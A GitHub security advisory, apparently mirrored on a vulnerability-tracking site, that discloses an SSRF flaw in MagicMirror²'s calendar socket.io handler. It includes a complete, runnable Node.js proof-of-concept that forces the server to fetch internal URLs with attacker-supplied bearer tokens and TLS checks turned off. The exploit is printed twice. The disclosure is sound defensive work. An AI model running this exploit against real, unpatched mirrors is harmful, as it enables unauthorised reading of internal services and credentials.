GHSA-W6X9-28JW-HQ7J
Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)
Analysis of the PoC
exploit-ssrf-calendar.js. Target:calendar/node_helper.jsof MagicMirror², socket.io namespace/calendar.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-calendar.js |
| Endpoint | socket.io namespace /calendar, notification ADD_CALENDAR |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.
Worse, the attacker also controls:
- the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." });
- the selfSignedCert flag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-calendar.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";
const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "CALENDAR_EVENTS") {
console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
for (const ev of payload.events || []) {
console.log(" SUMMARY:", ev.title);
if (ev.title && ev.title.includes("FLAG{")) {
console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
console.log(" " + ev.title);
process.exit(0);
}
}
} else if (event === "CALENDAR_ERROR") {
console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
socket.emit("ADD_CALENDAR", {
url: INTERNAL_URL,
fetchInterval: 60000,
excludedEvents: [],
maximumEntries: 10,
maximumNumberOfDays: 3650,
auth: { method: "bearer", pass: "internal-admin-token" },
broadcastPastEvents: true,
selfSignedCert: true,
id: "pwn"
});
});
socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));
setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);
Vulnerable target code (pattern)
socketNotificationReceived(notification, payload) {
if (notification === "ADD_CALENDAR") {
const fetcher = new CalendarFetcher(
payload.url,
payload.fetchInterval,
payload.excludedEvents,
payload.maximumEntries,
payload.maximumNumberOfDays,
payload.auth,
payload.broadcastPastEvents,
payload.selfSignedCert
);
fetcher.fetchCalendar();
}
}
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata
169.254.169.254, admin panels on127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for
FLAG{...}in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled
Authorization: Bearer ...header, allowing it to forge/replay credentials against the internal target. - TLS bypass via
selfSignedCert: true. - Internal port scanning through error/timing differences.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "magicmirror"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63643"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T17:26:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Vulnerability \u2014 SSRF via `ADD_CALENDAR` (MagicMirror\u00b2 calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever \u2014 unlike the project\u0027s hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target\u0027s response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` \u2014 turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don\u0027t see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\" SUMMARY:\", ev.title);\n\t\t\tif (ev.title \u0026\u0026 ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\" \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n if (notification === \"ADD_CALENDAR\") {\n const fetcher = new CalendarFetcher(\n payload.url,\n payload.fetchInterval,\n payload.excludedEvents,\n payload.maximumEntries,\n payload.maximumNumberOfDays,\n payload.auth,\n payload.broadcastPastEvents,\n payload.selfSignedCert\n );\n fetcher.fetchCalendar();\n }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker\u0027s network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---",
"id": "GHSA-w6x9-28jw-hq7j",
"modified": "2026-08-18T17:26:51Z",
"published": "2026-08-18T17:26:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/MagicMirrorOrg/MagicMirror"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MagicMirror: ssrf calendar .js"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.